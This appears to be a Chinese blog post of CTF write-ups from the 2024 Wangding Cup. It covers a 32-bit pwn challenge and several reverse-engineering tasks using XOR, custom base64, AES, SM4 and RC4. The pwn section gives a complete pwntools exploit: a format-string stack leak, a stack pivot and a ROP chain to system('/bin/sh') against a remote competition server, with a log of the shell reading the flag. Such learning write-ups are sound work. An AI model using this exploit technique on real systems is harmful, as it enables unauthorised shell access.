初赛

赛题名称:pwn2

解题步骤:

第一步:

32位的一个栈迁移

首先打开是一个最简单栈溢出和32位rop链

但是仔细看了一下read函数限制了最大长度只有8字节,rbp和返回地址

加上上面的%p泄露了一下rsp的地址

然后就在栈上进行一下栈迁移一个就行了。

前面有一个用户的登录和密码

ida直接打开就能看见

第二步:

这里借鉴了一下BUUCTF-ciscn_2019_es_2

因为这里直接是给了栈顶的位置

我们直接进行接一下就行了。因为存在格式化字符串漏洞%p直接进行泄露就行了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
pr = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


context(os='linux',arch='i386',log_level='debug')
#context(os='linux',arch='amd64',log_level='debug')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./short')
p=remote('0192d5d8e2247dfea660458022f23a25.2jt3.dg10.ciihw.cn',46258)
#p = process('./short')



rl('username:')
sl('admin')
rl('password:')
sl('admin123')

rl(b'this: ')
rsp=int(p.recv(10),16)
print(hex(rsp))

system_addr=0x80484A0
#fgets_addr=0x8048480
bin_addr=0x804A038
ret_addr=0x080483fa
leave_ret=0x08048555

rl('msg:\n')
payload2=b'aaaa'+p32(system_addr)+p32(ret_addr)+p32(bin_addr)
payload2=payload2.ljust(0x50,b'\x00')
payload2+=p32(rsp)+p32(leave_ret)
sl(payload2)



'''

payload =b'a'*(0x50+4)+p32(system_addr)+b'aaaa'+p32(bin_addr)
s(payload)
#p.sendline("/bin/sh")
#p.interactive()
'''





inter()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
[*] Switching to interactive mode

$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x2a bytes:
b'bin\n'
b'dev\n'
b'flag\n'
b'lib\n'
b'lib32\n'
b'lib64\n'
b'libx32\n'
b'short\n'
bin
dev
flag
lib
lib32
lib64
libx32
short
$ cat flag
[DEBUG] Sent 0x9 bytes:
b'cat flag\n'
[DEBUG] Received 0x29 bytes:
b'wdflag{mq1ahgrcurty837b78pbymtnq8we5a9n}\n'
wdflag{mq1ahgrcurty837b78pbymtnq8we5a9n}
[*] Got EOF while reading in interactive
$

赛题名称:re2

解题步骤:

第一步:

丢进ida里面看了一眼,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
int __fastcall main(int argc, const char **argv, const char **envp)
{
char v4[16]; // [rsp+0h] [rbp-240h] BYREF
char v5[48]; // [rsp+10h] [rbp-230h] BYREF
char v6[256]; // [rsp+40h] [rbp-200h] BYREF
char v7[16]; // [rsp+140h] [rbp-100h] BYREF
__int64 v8[2]; // [rsp+150h] [rbp-F0h] BYREF
__int64 v9[2]; // [rsp+160h] [rbp-E0h] BYREF
char v10[16]; // [rsp+170h] [rbp-D0h] BYREF
char v11[16]; // [rsp+180h] [rbp-C0h] BYREF
char v12[16]; // [rsp+190h] [rbp-B0h] BYREF
char s2[16]; // [rsp+1A0h] [rbp-A0h] BYREF
char s1[16]; // [rsp+1B0h] [rbp-90h] BYREF
char dest[16]; // [rsp+1C0h] [rbp-80h] BYREF
__int64 v16; // [rsp+1D0h] [rbp-70h] BYREF
_BYTE v17[24]; // [rsp+1D8h] [rbp-68h] BYREF
char s[7]; // [rsp+1F0h] [rbp-50h] BYREF
_BYTE v19[41]; // [rsp+1F7h] [rbp-49h] BYREF
char *v20; // [rsp+220h] [rbp-20h]
const char *v21; // [rsp+228h] [rbp-18h]
int k; // [rsp+234h] [rbp-Ch]
int j; // [rsp+238h] [rbp-8h]
int i; // [rsp+23Ch] [rbp-4h]

printf("Enter the flag:");
if ( fgets(s, 41, stdin) )
s[strcspn(s, "\n")] = 0;
if ( strlen(s) != 40 || strncmp(s, "wdflag{", 7uLL) || v19[32] != '}' )
return 1;
memcpy(dest, v19, 0x20uLL);
v17[8] = 0;
s2[0] = 114;
s2[1] = -54;
s2[2] = 112;
s2[3] = 106;
s2[4] = 106;
s2[5] = -60;
s2[6] = -62;
s2[7] = -54;
for ( i = 0; i <= 7; ++i )
s1[i] = 2 * dest[i];
if ( memcmp(s1, s2, 8uLL) )
return 1;
v21 = "XorrLord";
qmemcpy(v11, "`\tK", 3);
v11[3] = 19;
v11[4] = 45;
v11[5] = 14;
v11[6] = 20;
v11[7] = 1;
for ( j = 8; j <= 15; ++j )
v12[j - 8] = dest[j] ^ v21[j - 8];
if ( memcmp(v12, v11, 8uLL) )
return 1;
base64_encode(&v16, 8LL, v10);
v20 = "QYGyBYKyA2K";
if ( strcmp(v10, "QYGyBYKyA2K") )
return 1;
qmemcpy(v9, "AesMasterAesMast", sizeof(v9));
v8[0] = 0LL;
v8[1] = 0LL;
memcpy(v8, v17, 8uLL);
for ( k = 8; k <= 15; ++k )
*(v8 + k) = 8;
AES_set_encrypt_key(v9, 128LL, v6);
AES_encrypt(v8, v7, v6);
hex_to_string(v7, 16LL, v5);
v4[0] = -67;
v4[1] = -11;
v4[2] = 89;
v4[3] = -122;
v4[4] = 57;
v4[5] = 68;
v4[6] = 52;
v4[7] = 96;
v4[8] = -120;
v4[9] = -15;
v4[10] = 109;
v4[11] = -60;
v4[12] = 25;
v4[13] = -33;
v4[14] = -125;
v4[15] = 6;
if ( memcmp(v7, v4, 0x10uLL) )
return 1;
puts("Correct Flag!");
return 0;
}

发现就是几个加密直接进行解密就行了

第二步:

除2解密

1
2
3
4
src1 = [0x72, 0xCA, 0x70, 0x6A, 0x6A, 0xC4, 0xC2, 0xCA]
for i in range(len(src1)):
print(chr(src1[i] // 2), end='') # 使用整除和正确的位置
#9e855bae

异或

1
2
3
4
5
6
7
8
src2=[0x60,0x9,0x4b,0x13,0x2d,0xe,0x14,0x1,0x8]
key='XorrLord'
flag=''
for i in range(len(src2)):
flag+=chr(src[i]^ord(key[i]))
print(flag)

#8f9aaafe

换表

1
2
3
4
5
6
7
8
9
10
11
12
import base64
import string

str1 = "QYGyBYKyA2K="

string1 = "CDEFGHIJKLMNOPQRSTUVWXYZABabcdefghijklmnopqrstuvwxyz0123456789+/"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

print (base64.b64decode(str1.translate(str.maketrans(string1,string2))))


#9a2eb2cb

AES解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from Crypto.Cipher import AES

# 定义密钥
key = b"AesMasterAesMast" # 16 字节密钥

# 定义密文
ciphertext = bytes([
0xBD, 0xF5, 0x59, 0x86,
0x39, 0x44, 0x34, 0x60,
0x88, 0xF1, 0x6D, 0xC4,
0x19, 0xDF, 0x83, 0x06
])

# 创建 AES 解密器
decrypt_cipher = AES.new(key, AES.MODE_ECB) # 使用 ECB 模式

# 解密数据
decrypted_plaintext = decrypt_cipher.decrypt(ciphertext)

# 打印解密后的明文
print("Decrypted Plaintext (as bytes):", decrypted_plaintext)

# 尝试将解密后的字节转换为字符串
try:
decrypted_string = decrypted_plaintext.decode('utf-8')
except UnicodeDecodeError:
# 如果解码失败,打印原始字节
decrypted_string = decrypted_plaintext

print("Decrypted Plaintext (as string):", decrypted_string)


#d8823519

拼接flag

wdflag{9e855bae8f9aaafe9a2eb2cbd8823519}

赛题名称:re1

解题步骤:

第一步:

打开看见是一个安卓逆向,

用jadx打开,进去先找一下加密逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package v0;

import android.view.View;
import android.widget.EditText;
import android.widget.Toast;
import com.ctf.cma.Check;
import com.ctf.cma.MainActivity;
import com.ctf.cma.R;

/* loaded from: classes.dex */
public final class b implements View.OnClickListener {

/* renamed from: b reason: collision with root package name */
public final /* synthetic */ MainActivity f3082b;

public b(MainActivity mainActivity) {
this.f3082b = mainActivity;
}

@Override // android.view.View.OnClickListener
public final void onClick(View view) {
String trim = ((EditText) this.f3082b.f1519o.c).getText().toString().trim();
if (trim.isEmpty()) {
return;
}
if (Check.validate(trim)) {
MainActivity mainActivity = this.f3082b;
Toast.makeText(mainActivity, mainActivity.getString(R.string.tips_success), 0).show();
return;
}
MainActivity mainActivity2 = this.f3082b;
Toast.makeText(mainActivity2, mainActivity2.getString(R.string.tips_failed), 0).show();
((EditText) this.f3082b.f1519o.c).getText().clear();
}
}

锁定一下核心加密方法,这里有一个check机制

跟踪一下进去看看。

chatgpt解释一下

image-20241029154316299

其实整体就是一个native层加密逻辑

第二步

然后我们进行解包一下,找到之后用ida打开找到加密方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
char __fastcall sub_6E0(__int64 a1, __int64 a2, __int64 a3)
{
const char *v3; // rbx
int v4; // r14d
char *v5; // r15
int v6; // ebp
int v7; // ebp
__int128 *v8; // rbx
__int64 v9; // rax
char v11[4]; // [rsp+8h] [rbp-B0h] BYREF
char v12[132]; // [rsp+Ch] [rbp-ACh] BYREF
unsigned __int64 v13; // [rsp+90h] [rbp-28h]

v13 = __readfsqword(0x28u);
v3 = (*(*a1 + 1352LL))(a1, a3, 0LL);
sub_940(v11);
xmmword_3130 = 0LL;
xmmword_3120 = 0LL;
xmmword_3110 = 0LL;
xmmword_3100 = 0LL;
xmmword_30F0 = 0LL;
xmmword_30E0 = 0LL;
xmmword_30D0 = 0LL;
xmmword_30C0 = 0LL;
xmmword_30B0 = 0LL;
xmmword_30A0 = 0LL;
xmmword_3090 = 0LL;
xmmword_3080 = 0LL;
xmmword_3070 = 0LL;
xmmword_3060 = 0LL;
xmmword_3050 = 0LL;
*s = 0LL;
xmmword_3230 = 0LL;
xmmword_3220 = 0LL;
xmmword_3210 = 0LL;
xmmword_3200 = 0LL;
xmmword_31F0 = 0LL;
xmmword_31E0 = 0LL;
xmmword_31D0 = 0LL;
xmmword_31C0 = 0LL;
xmmword_31B0 = 0LL;
xmmword_31A0 = 0LL;
xmmword_3190 = 0LL;
xmmword_3180 = 0LL;
xmmword_3170 = 0LL;
xmmword_3160 = 0LL;
xmmword_3150 = 0LL;
xmmword_3140 = 0LL;
strcpy(s, v3);
v4 = strlen(v3);
if ( v4 == 16 )
{
sub_A30(v12, s, &xmmword_3140);
}
else
{
v5 = s;
v6 = (strlen(s) >> 4) + 16 - v4 % 16;
if ( v4 % 16 < 16 )
memset(&s[v4], 0, (15 - v4 % 16) + 1LL);
if ( v6 )
{
v7 = -v6;
v8 = &xmmword_3140;
do
{
sub_A30(v12, v5, v8);
v5 += 16;
++v8;
++v7;
}
while ( v7 );
}
}
v9 = -5LL;
while ( unk_CB0[v9 + 5] == *(&xmmword_3140 + v9 + 5)
&& unk_CB0[v9 + 6] == *(&xmmword_3140 + v9 + 6)
&& unk_CB0[v9 + 7] == *(&xmmword_3140 + v9 + 7)
&& unk_CB0[v9 + 8] == *(&xmmword_3140 + v9 + 8)
&& unk_CB0[v9 + 9] == *(&xmmword_3140 + v9 + 9) )
{
v9 += 5LL;
if ( v9 >= 40 )
return 1;
}
return 0;
}

image-20241029154914169

直接gpt问一手是一个SM4加密

提取一下密文和密钥

1
2
src='2CC8236F3ACFC7BF515D50B84CB16253A1DE2F1D404A2784A74312B8AF5E765D8CBF106744A385C53F92B5AA1C8EC3DC'
key='A1122357Z0099864'

本来想找一下脚本进行解密,后来还是cyberchef接出来的

但是当开始一直不对,后来是问gpt之后是发现存在小段存储的问题,A11223574689900Z就可以进行正常解密了

image-20241029155455641

拼接flag

解密出来之后套个壳子就行了

wdflag{9ee41cf6-1a65-4bc5-8361-e70c49953a1f}

第一次打网信办的比赛,2024.10.30,记录一下,虽然我只做了一道pwn题

全靠队友。

image-20241030193312465

2024.12.2-网鼎半决线下赛

ok,网鼎半决赛结束后(事一点没干,饭一点没少吃)也是玩了一天,回来后就是复习了一手概率论(啥也不会说是)。

怎么说都是第一次打线下赛,就准备记录一手

image-20241202130639552

re

怎么说呢?最后吭哧吭哧只解出一道re(还是赛后复现出来的,密文提取错了说是)

image-20241202125320542

解压后根据题目分析说是有个流量分析,也很简单,就是追踪一下就可以了

image-20241202125449184

很明显是一个密文。康康ELF文件,大概康康其实就能分析出是RC4了

image-20241202125720711

看一眼RC4

image-20241202125811986

注意密文提取的时候,前面的字节码去除指令就行

image-20241202130038037

ok,然后正常套脚本就行了,呜呜呜~我包fw的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70

#include<stdio.h>

/*
RC4初始化函数
*/
void rc4_init(unsigned char* s, unsigned char* key, unsigned long Len_k)
{
int i = 0, j = 0;
char k[256] = { 0 };
unsigned char tmp = 0;
for (i = 0; i < 256; i++) {
s[i] = i;
k[i] = key[i % Len_k];
}
for (i = 0; i < 256; i++) {
j = (j + s[i] + k[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
}
}

/*
RC4加解密函数
unsigned char* Data 加解密的数据
unsigned long Len_D 加解密数据的长度
unsigned char* key 密钥
unsigned long Len_k 密钥长度
*/
void rc4_crypt(unsigned char* Data, unsigned long Len_D, unsigned char* key, unsigned long Len_k) //加解密
{
unsigned char s[256];
rc4_init(s, key, Len_k);
int i = 0, j = 0, t = 0;
unsigned long k = 0;
unsigned char tmp;
for (k = 0; k < Len_D; k++) {
i = (i + 1) % 256;
j = (j + s[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
t = ((s[i] + s[j]) % 256);
Data[k] = Data[k] ^ s[t] ^0x25;
}
}
int main()
{
// 密钥:key ='WangDingCUPKEY!!'
//密文:src=[0xC632A2F05BD9371D,0x3AA73E7E508CA730,0x1C6B85816B58C0BA,0x9742C18A7C80F54C]
//字符串密钥
unsigned char key[] = "WangDingCUPKEY!!";
unsigned long key_len = sizeof(key) - 1;
//数组密钥
//unsigned char key[] = {};
//unsigned long key_len = sizeof(key);

//加解密数据
unsigned char data[] = { 0x1D,0x37,0xD9,0x5B,0xF0,0xA2,0x32,0xC6,0x30,0xA7,0x8C,0x50,0x7E,0x3E,0xA7,0x3A,0xBA,0xC0,0x58,0x6B,0x81,0x85,0x6B,0x1C,0x4C,0xF5,0x80,0x7C,0x8A,0xC1,0x42,0x97,0x90,0xC7,0x8A,0xC1,0x42,0x97};
//加解密
rc4_crypt(data, sizeof(data), key, key_len);

for (int i = 0; i < sizeof(data); i++)
{
printf("%c", data[i]);
}
printf("\n");
return 0;
}

flag如下:

image-20241202130244907

flag{Welc0me_t0_7he_WangD1ng_CUP!}

怎么说呢!!☝️🤓

🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌

今天补这个博客最主要的原因还是想记录一下自己的第一次线下赛,好赖都得继续。

咋过不是过!!

image-20241202140304006

特别感谢:

Rweb的队友和指导老师

image-20241202135228224